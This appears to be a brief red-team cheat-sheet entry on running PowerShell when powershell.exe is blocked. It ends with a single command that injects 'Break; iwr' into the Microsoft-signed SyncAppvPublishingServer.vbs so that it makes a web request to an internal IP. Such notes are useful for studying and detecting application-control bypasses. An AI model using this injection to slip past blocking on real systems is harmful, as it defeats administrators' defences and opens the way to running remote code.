Powershell.exe is just a process hosting the System.Management.Automation.dll which essentially is the actual Powershell as we know it.
If you run into a situation where powershell.exe is blocked and no strict application whitelisting is implemented, there are ways to execute powershell still.
Note that the same could be achieved with a compiled .exe binary from the same project, but keep in mind that .exe is more likely to run into whitelisting issues.
Windows 10 comes with
SyncAppvPublishingServer.vbs that can be abused with code injection to execute powershell commands from a Microsoft signed script:
SyncAppvPublishingServer.vbs "Break; iwr http://10.0.0.5:443"